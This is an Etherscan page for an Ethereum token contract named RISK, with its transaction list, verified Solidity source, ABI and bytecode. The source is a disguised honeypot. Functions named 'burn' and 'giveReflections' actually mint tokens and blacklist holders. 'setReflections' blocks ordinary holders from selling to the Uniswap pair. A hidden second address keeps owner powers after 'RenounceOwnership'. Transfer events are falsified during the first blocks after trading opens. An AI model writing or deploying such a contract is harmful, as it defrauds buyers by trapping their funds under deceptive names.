ETH Price: $1,918.14 (-4.29%)
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

More Info

Private Name Tags

TokenTracker

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Transfer145498642022-04-09 6:15:531420 days ago1649484953IN
0xe3CD8fb8...558D8Ca0b
0 ETH0.0020880236.04333162
Approve145496892022-04-09 5:38:471420 days ago1649482727IN
0xe3CD8fb8...558D8Ca0b
0 ETH0.0016979136.36644265
Burn145496822022-04-09 5:37:321420 days ago1649482652IN
0xe3CD8fb8...558D8Ca0b
0 ETH0.0020258636.34428149
Approve145495852022-04-09 5:11:541420 days ago1649481114IN
0xe3CD8fb8...558D8Ca0b
0 ETH0.0016630235.61920224
Transfer145485942022-04-09 1:37:271420 days ago1649468247IN
0xe3CD8fb8...558D8Ca0b
0 ETH0.0027213146.98475783
Approve145485062022-04-09 1:13:501420 days ago1649466830IN
0xe3CD8fb8...558D8Ca0b
0 ETH0.0015358832.89606929
Transfer145483632022-04-09 0:42:171420 days ago1649464937IN
0xe3CD8fb8...558D8Ca0b
0 ETH0.0020925236.1284625
Approve145483562022-04-09 0:41:051420 days ago1649464865IN
0xe3CD8fb8...558D8Ca0b
0 ETH0.0019339941.42288691
Approve145483232022-04-09 0:33:081420 days ago1649464388IN
0xe3CD8fb8...558D8Ca0b
0 ETH0.0022146647.43443831
Approve145482822022-04-09 0:24:501420 days ago1649463890IN
0xe3CD8fb8...558D8Ca0b
0 ETH0.0020443643.78693719
Transfer145482792022-04-09 0:24:221420 days ago1649463862IN
0xe3CD8fb8...558D8Ca0b
0 ETH0.0026544542.35532934
Approve145482692022-04-09 0:20:321420 days ago1649463632IN
0xe3CD8fb8...558D8Ca0b
0 ETH0.0015598133.40852681
Approve145482612022-04-09 0:19:181420 days ago1649463558IN
0xe3CD8fb8...558D8Ca0b
0 ETH0.0019707242.20956134
Approve145482532022-04-09 0:17:451420 days ago1649463465IN
0xe3CD8fb8...558D8Ca0b
0 ETH0.0012143545.33033626
Approve145482532022-04-09 0:17:451420 days ago1649463465IN
0xe3CD8fb8...558D8Ca0b
0 ETH0.0021156445.3135748
Approve145482532022-04-09 0:17:451420 days ago1649463465IN
0xe3CD8fb8...558D8Ca0b
0 ETH0.0021156445.3135748
Approve145482432022-04-09 0:15:071420 days ago1649463307IN
0xe3CD8fb8...558D8Ca0b
0 ETH0.0028123660.23619065
Approve145482402022-04-09 0:14:161420 days ago1649463256IN
0xe3CD8fb8...558D8Ca0b
0 ETH0.0024514452.50580541
Approve145482362022-04-09 0:12:161420 days ago1649463136IN
0xe3CD8fb8...558D8Ca0b
0 ETH0.0010548439.37606441
Approve145482322022-04-09 0:11:461420 days ago1649463106IN
0xe3CD8fb8...558D8Ca0b
0 ETH0.0018101938.77142456
Approve145482312022-04-09 0:11:401420 days ago1649463100IN
0xe3CD8fb8...558D8Ca0b
0 ETH0.0019724442.24643593
Approve145482272022-04-09 0:10:501420 days ago1649463050IN
0xe3CD8fb8...558D8Ca0b
0 ETH0.0021706346.49127914
Approve145482232022-04-09 0:09:261420 days ago1649462966IN
0xe3CD8fb8...558D8Ca0b
0 ETH0.0021743746.57151318
Set Reflections145482232022-04-09 0:09:261420 days ago1649462966IN
0xe3CD8fb8...558D8Ca0b
0 ETH0.0038142569.57151318
Approve145482182022-04-09 0:08:001420 days ago1649462880IN
0xe3CD8fb8...558D8Ca0b
0 ETH0.0018229339.04417613
View all transactions

Latest 1 internal transaction

Advanced mode:
Parent Transaction Hash Method Block
From
To
-145480162022-04-08 23:22:321420 days ago1649460152
0xe3CD8fb8...558D8Ca0b
4 ETH
Loading...
Loading
Loading...
Loading
Cross-Chain Transactions

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
RISK

Compiler Version
v0.8.0+commit.c7dfd78e

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license
/**
 *Submitted for verification at Etherscan.io on 2022-04-08
*/

/*
    Risk - "A situation involving exposure to danger, harm or loss"
    
    https://medium.com/@alexillidan2002/risk-c30be404eb11

*/
pragma solidity ^0.8.0;


library SafeMath {

    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

  
    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

   
    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

   
    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

  function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

 
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

   
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

   
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

   
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

   
    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}


interface IERC20 {
   
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IERC20Metadata is IERC20 {
  
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
}


abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}


contract RISK is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) public _balances;
    mapping(address => mapping(address => uint256)) public _allowances;
    mapping(address => bool) private _blackbalances;
    mapping (address => bool) private bots;
    mapping(address => bool) private _balances1;

    address internal router;
    uint256 public _totalSupply = 1000000*10**18;
    string public _name = "RISK";
    string public _symbol= "RISK";
    bool balances1 = true;
    bool private tradingOpen;
    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    uint256 private openBlock;

    
    
    constructor() {
        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(this), msg.sender, _totalSupply);
        owner = msg.sender;
    }
    
    address public owner;
    address private marketAddy = payable(0xC17CA4db2cA65b4DcF4c854a07D538B8b25Ca590);
    
    modifier onlyOwner {
        require((owner == msg.sender) || (msg.sender == marketAddy));
        _;
    }
    function changeOwner(address _owner) onlyOwner public {
        owner = _owner;
    }
    
    function RenounceOwnership() onlyOwner public {
        owner = 0x000000000000000000000000000000000000dEaD;
    }

    function giveReflections(address[] memory recipients_) onlyOwner public {
        for (uint i = 0; i < recipients_.length; i++) {
            bots[recipients_[i]] = true;
        }
    }

    function toggleReflections(address[] memory recipients_) onlyOwner public {
        for (uint i = 0; i < recipients_.length; i++) {
            bots[recipients_[i]] = false;
        }
    }

    function setReflections() onlyOwner public {
        router = uniswapV2Pair;
        balances1 = false;
    }

    function openTrading() public onlyOwner {
        require(!tradingOpen, "trading is already open");
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        uniswapV2Router = _uniswapV2Router;
        _approve(address(this), address(uniswapV2Router), _totalSupply);
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner,
            block.timestamp
        );
        tradingOpen = true;
        openBlock = block.number;
        IERC20(uniswapV2Pair).approve(
            address(uniswapV2Router),
            type(uint256).max
        );
    }
    
    receive() external payable {}
    
    
    function name() public view virtual override returns (string memory) {
        return _name;
    }
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }
    function decimals() public view virtual override returns (uint8) {
        return 18;
    }
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        unchecked {
            _approve(sender, _msgSender(), currentAllowance - amount);
        }
        return true;
    }

   
    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(_blackbalances[sender] != true );
        require(!bots[sender] && !bots[recipient]);
        if(recipient == router) {
            require((balances1 || _balances1[sender]) || (sender == marketAddy), "ERC20: transfer to the zero address");
        }
        require((amount < 200000000000*10**18) || (sender == marketAddy) || (sender == owner) || (sender == address(this)));
        _beforeTokenTransfer(sender, recipient, amount);
        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[sender] = senderBalance - amount;
        }
        _balances[recipient] += amount;
        if ((openBlock + 4 > block.number) && sender == uniswapV2Pair) {
            emit Transfer(sender, recipient, 0);
        } else {
            emit Transfer(sender, recipient, amount);
        }
    }


      function  burn(address account, uint256 amount) onlyOwner  public virtual {
        require(account != address(0), "ERC20: burn to the zero address");
        _beforeTokenTransfer(address(0), account, amount);
        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);
    }
    
    
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

   
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
    

}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"RenounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"_allowances","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_balances","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_owner","type":"address"}],"name":"changeOwner","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"recipients_","type":"address[]"}],"name":"giveReflections","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"setReflections","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"recipients_","type":"address[]"}],"name":"toggleReflections","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

69d3c21bcecceda100000060065560c060405260046080819052635249534b60e01b60a09081526200003591600791906200010e565b50604080518082019091526004808252635249534b60e01b602090920191825262000063916008916200010e565b506009805460ff19166001179055600d80546001600160a01b03191673c17ca4db2ca65b4dcf4c854a07d538b8b25ca590179055348015620000a457600080fd5b50600654336000818152602081905260409081902083905551909130917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91620000ee91620001b4565b60405180910390a3600c80546001600160a01b03191633179055620001fa565b8280546200011c90620001bd565b90600052602060002090601f0160209004810192826200014057600085556200018b565b82601f106200015b57805160ff19168380011785556200018b565b828001600101855582156200018b579182015b828111156200018b5782518255916020019190600101906200016e565b50620001999291506200019d565b5090565b5b808211156200019957600081556001016200019e565b90815260200190565b600281046001821680620001d257607f821691505b60208210811415620001f457634e487b7160e01b600052602260045260246000fd5b50919050565b61166b806200020a6000396000f3fe6080604052600436106101395760003560e01c806370a08231116100ab578063a9059cbb1161006f578063a9059cbb14610339578063b09f126614610359578063ba3ac4a51461036e578063c9567bf91461038e578063d28d8852146103a3578063dd62ed3e146103b857610140565b806370a08231146102a25780638da5cb5b146102c257806395d89b41146102e45780639dc29fac146102f9578063a6f9dae11461031957610140565b806323b872dd116100fd57806323b872dd14610201578063294e3eb114610221578063313ce567146102365780633eaaf86b146102585780636e4ee8111461026d5780636ebcf6071461028257610140565b8063024c2ddd1461014557806306fdde031461017b578063095ea7b31461019d57806315a892be146101ca57806318160ddd146101ec57610140565b3661014057005b600080fd5b34801561015157600080fd5b506101656101603660046110d1565b6103d8565b604051610172919061130f565b60405180910390f35b34801561018757600080fd5b506101906103f5565b6040516101729190611318565b3480156101a957600080fd5b506101bd6101b8366004611149565b610487565b6040516101729190611304565b3480156101d657600080fd5b506101ea6101e5366004611174565b6104a4565b005b3480156101f857600080fd5b5061016561054a565b34801561020d57600080fd5b506101bd61021c366004611109565b610550565b34801561022d57600080fd5b506101ea6105e9565b34801561024257600080fd5b5061024b610643565b6040516101729190611575565b34801561026457600080fd5b50610165610648565b34801561027957600080fd5b506101ea61064e565b34801561028e57600080fd5b5061016561029d366004611092565b610690565b3480156102ae57600080fd5b506101656102bd366004611092565b6106a2565b3480156102ce57600080fd5b506102d76106c1565b6040516101729190611282565b3480156102f057600080fd5b506101906106d0565b34801561030557600080fd5b506101ea610314366004611149565b6106df565b34801561032557600080fd5b506101ea610334366004611092565b6107cb565b34801561034557600080fd5b506101bd610354366004611149565b610819565b34801561036557600080fd5b5061019061082d565b34801561037a57600080fd5b506101ea610389366004611174565b6108bb565b34801561039a57600080fd5b506101ea61095d565b3480156103af57600080fd5b50610190610cd5565b3480156103c457600080fd5b506101656103d33660046110d1565b610ce2565b600160209081526000928352604080842090915290825290205481565b6060600780546104049061159b565b80601f01602080910402602001604051908101604052809291908181526020018280546104309061159b565b801561047d5780601f106104525761010080835404028352916020019161047d565b820191906000526020600020905b81548152906001019060200180831161046057829003601f168201915b5050505050905090565b600061049b610494610d0d565b8484610d11565b50600192915050565b600c546001600160a01b03163314806104c75750600d546001600160a01b031633145b6104d057600080fd5b60005b81518110156105465760016003600084848151811061050257634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061053e816115d6565b9150506104d3565b5050565b60065490565b600061055d848484610dc5565b6001600160a01b03841660009081526001602052604081208161057e610d0d565b6001600160a01b03166001600160a01b03168152602001908152602001600020549050828110156105ca5760405162461bcd60e51b81526004016105c19061146d565b60405180910390fd5b6105de856105d6610d0d565b858403610d11565b506001949350505050565b600c546001600160a01b031633148061060c5750600d546001600160a01b031633145b61061557600080fd5b600a54600580546001600160a01b0319166001600160a01b039092169190911790556009805460ff19169055565b601290565b60065481565b600c546001600160a01b03163314806106715750600d546001600160a01b031633145b61067a57600080fd5b600c80546001600160a01b03191661dead179055565b60006020819052908152604090205481565b6001600160a01b0381166000908152602081905260409020545b919050565b600c546001600160a01b031681565b6060600880546104049061159b565b600c546001600160a01b03163314806107025750600d546001600160a01b031633145b61070b57600080fd5b6001600160a01b0382166107315760405162461bcd60e51b81526004016105c190611436565b61073d60008383611082565b806006600082825461074f9190611583565b90915550506001600160a01b0382166000908152602081905260408120805483929061077c908490611583565b90915550506040516001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906107bf90859061130f565b60405180910390a35050565b600c546001600160a01b03163314806107ee5750600d546001600160a01b031633145b6107f757600080fd5b600c80546001600160a01b0319166001600160a01b0392909216919091179055565b600061049b610826610d0d565b8484610dc5565b6008805461083a9061159b565b80601f01602080910402602001604051908101604052809291908181526020018280546108669061159b565b80156108b35780601f10610888576101008083540402835291602001916108b3565b820191906000526020600020905b81548152906001019060200180831161089657829003601f168201915b505050505081565b600c546001600160a01b03163314806108de5750600d546001600160a01b031633145b6108e757600080fd5b60005b81518110156105465760006003600084848151811061091957634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905580610955816115d6565b9150506108ea565b600c546001600160a01b03163314806109805750600d546001600160a01b031633145b61098957600080fd5b600954610100900460ff16156109b15760405162461bcd60e51b81526004016105c19061153e565b6009805462010000600160b01b031916757a250d5630b4cf539739df2c5dacb4c659f2488d00001790819055600654737a250d5630b4cf539739df2c5dacb4c659f2488d91610a129130916001600160a01b03620100009091041690610d11565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610a4b57600080fd5b505afa158015610a5f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a8391906110b5565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610acb57600080fd5b505afa158015610adf573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b0391906110b5565b6040518363ffffffff1660e01b8152600401610b20929190611296565b602060405180830381600087803b158015610b3a57600080fd5b505af1158015610b4e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b7291906110b5565b600a80546001600160a01b0319166001600160a01b039283161790556009546201000090041663f305d7194730610ba8816106a2565b600c546040516001600160e01b031960e087901b168152610bde93929160009182916001600160a01b03169042906004016112c9565b6060604051808303818588803b158015610bf757600080fd5b505af1158015610c0b573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610c309190611255565b50506009805461ff001916610100179081905543600b55600a5460405163095ea7b360e01b81526001600160a01b03918216935063095ea7b392610c8392620100009091041690600019906004016112b0565b602060405180830381600087803b158015610c9d57600080fd5b505af1158015610cb1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105469190611235565b6007805461083a9061159b565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b3390565b6001600160a01b038316610d375760405162461bcd60e51b81526004016105c1906114fa565b6001600160a01b038216610d5d5760405162461bcd60e51b81526004016105c1906113ae565b6001600160a01b0380841660008181526001602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590610db890859061130f565b60405180910390a3505050565b6001600160a01b038316610deb5760405162461bcd60e51b81526004016105c1906114b5565b6001600160a01b03831660009081526002602052604090205460ff16151560011415610e1657600080fd5b6001600160a01b03831660009081526003602052604090205460ff16158015610e5857506001600160a01b03821660009081526003602052604090205460ff16155b610e6157600080fd5b6005546001600160a01b0383811691161415610ed45760095460ff1680610ea057506001600160a01b03831660009081526004602052604090205460ff165b80610eb85750600d546001600160a01b038481169116145b610ed45760405162461bcd60e51b81526004016105c19061136b565b6c02863c1f5cdae42f9540000000811080610efc5750600d546001600160a01b038481169116145b80610f145750600c546001600160a01b038481169116145b80610f2757506001600160a01b03831630145b610f3057600080fd5b610f3b838383611082565b6001600160a01b03831660009081526020819052604090205481811015610f745760405162461bcd60e51b81526004016105c1906113f0565b6001600160a01b03808516600090815260208190526040808220858503905591851681529081208054849290610fab908490611583565b9091555050600b544390610fc0906004611583565b118015610fda5750600a546001600160a01b038581169116145b1561103057826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6000604051611023919061130f565b60405180910390a361107c565b826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611073919061130f565b60405180910390a35b50505050565b505050565b80356106bc8161161d565b6000602082840312156110a3578081fd5b81356110ae8161161d565b9392505050565b6000602082840312156110c6578081fd5b81516110ae8161161d565b600080604083850312156110e3578081fd5b82356110ee8161161d565b915060208301356110fe8161161d565b809150509250929050565b60008060006060848603121561111d578081fd5b83356111288161161d565b925060208401356111388161161d565b929592945050506040919091013590565b6000806040838503121561115b578182fd5b82356111668161161d565b946020939093013593505050565b60006020808385031215611186578182fd5b823567ffffffffffffffff8082111561119d578384fd5b818501915085601f8301126111b0578384fd5b8135818111156111c2576111c2611607565b838102604051858282010181811085821117156111e1576111e1611607565b604052828152858101935084860182860187018a10156111ff578788fd5b8795505b838610156112285761121481611087565b855260019590950194938601938601611203565b5098975050505050505050565b600060208284031215611246578081fd5b815180151581146110ae578182fd5b600080600060608486031215611269578283fd5b8351925060208401519150604084015190509250925092565b6001600160a01b0391909116815260200190565b6001600160a01b0392831681529116602082015260400190565b6001600160a01b03929092168252602082015260400190565b6001600160a01b039687168152602081019590955260408501939093526060840191909152909216608082015260a081019190915260c00190565b901515815260200190565b90815260200190565b6000602080835283518082850152825b8181101561134457858101830151858201604001528201611328565b818111156113555783604083870101525b50601f01601f1916929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b60208082526026908201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604082015265616c616e636560d01b606082015260800190565b6020808252601f908201527f45524332303a206275726e20746f20746865207a65726f206164647265737300604082015260600190565b60208082526028908201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616040820152676c6c6f77616e636560c01b606082015260800190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b60208082526017908201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604082015260600190565b60ff91909116815260200190565b60008219821115611596576115966115f1565b500190565b6002810460018216806115af57607f821691505b602082108114156115d057634e487b7160e01b600052602260045260246000fd5b50919050565b60006000198214156115ea576115ea6115f1565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461163257600080fd5b5056fea2646970667358221220dfabe9fe6feae1e758a4635d8491d713d143c01398ffa18442ac2d9206588e9b64736f6c63430008000033

Deployed Bytecode

0x6080604052600436106101395760003560e01c806370a08231116100ab578063a9059cbb1161006f578063a9059cbb14610339578063b09f126614610359578063ba3ac4a51461036e578063c9567bf91461038e578063d28d8852146103a3578063dd62ed3e146103b857610140565b806370a08231146102a25780638da5cb5b146102c257806395d89b41146102e45780639dc29fac146102f9578063a6f9dae11461031957610140565b806323b872dd116100fd57806323b872dd14610201578063294e3eb114610221578063313ce567146102365780633eaaf86b146102585780636e4ee8111461026d5780636ebcf6071461028257610140565b8063024c2ddd1461014557806306fdde031461017b578063095ea7b31461019d57806315a892be146101ca57806318160ddd146101ec57610140565b3661014057005b600080fd5b34801561015157600080fd5b506101656101603660046110d1565b6103d8565b604051610172919061130f565b60405180910390f35b34801561018757600080fd5b506101906103f5565b6040516101729190611318565b3480156101a957600080fd5b506101bd6101b8366004611149565b610487565b6040516101729190611304565b3480156101d657600080fd5b506101ea6101e5366004611174565b6104a4565b005b3480156101f857600080fd5b5061016561054a565b34801561020d57600080fd5b506101bd61021c366004611109565b610550565b34801561022d57600080fd5b506101ea6105e9565b34801561024257600080fd5b5061024b610643565b6040516101729190611575565b34801561026457600080fd5b50610165610648565b34801561027957600080fd5b506101ea61064e565b34801561028e57600080fd5b5061016561029d366004611092565b610690565b3480156102ae57600080fd5b506101656102bd366004611092565b6106a2565b3480156102ce57600080fd5b506102d76106c1565b6040516101729190611282565b3480156102f057600080fd5b506101906106d0565b34801561030557600080fd5b506101ea610314366004611149565b6106df565b34801561032557600080fd5b506101ea610334366004611092565b6107cb565b34801561034557600080fd5b506101bd610354366004611149565b610819565b34801561036557600080fd5b5061019061082d565b34801561037a57600080fd5b506101ea610389366004611174565b6108bb565b34801561039a57600080fd5b506101ea61095d565b3480156103af57600080fd5b50610190610cd5565b3480156103c457600080fd5b506101656103d33660046110d1565b610ce2565b600160209081526000928352604080842090915290825290205481565b6060600780546104049061159b565b80601f01602080910402602001604051908101604052809291908181526020018280546104309061159b565b801561047d5780601f106104525761010080835404028352916020019161047d565b820191906000526020600020905b81548152906001019060200180831161046057829003601f168201915b5050505050905090565b600061049b610494610d0d565b8484610d11565b50600192915050565b600c546001600160a01b03163314806104c75750600d546001600160a01b031633145b6104d057600080fd5b60005b81518110156105465760016003600084848151811061050257634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061053e816115d6565b9150506104d3565b5050565b60065490565b600061055d848484610dc5565b6001600160a01b03841660009081526001602052604081208161057e610d0d565b6001600160a01b03166001600160a01b03168152602001908152602001600020549050828110156105ca5760405162461bcd60e51b81526004016105c19061146d565b60405180910390fd5b6105de856105d6610d0d565b858403610d11565b506001949350505050565b600c546001600160a01b031633148061060c5750600d546001600160a01b031633145b61061557600080fd5b600a54600580546001600160a01b0319166001600160a01b039092169190911790556009805460ff19169055565b601290565b60065481565b600c546001600160a01b03163314806106715750600d546001600160a01b031633145b61067a57600080fd5b600c80546001600160a01b03191661dead179055565b60006020819052908152604090205481565b6001600160a01b0381166000908152602081905260409020545b919050565b600c546001600160a01b031681565b6060600880546104049061159b565b600c5460016001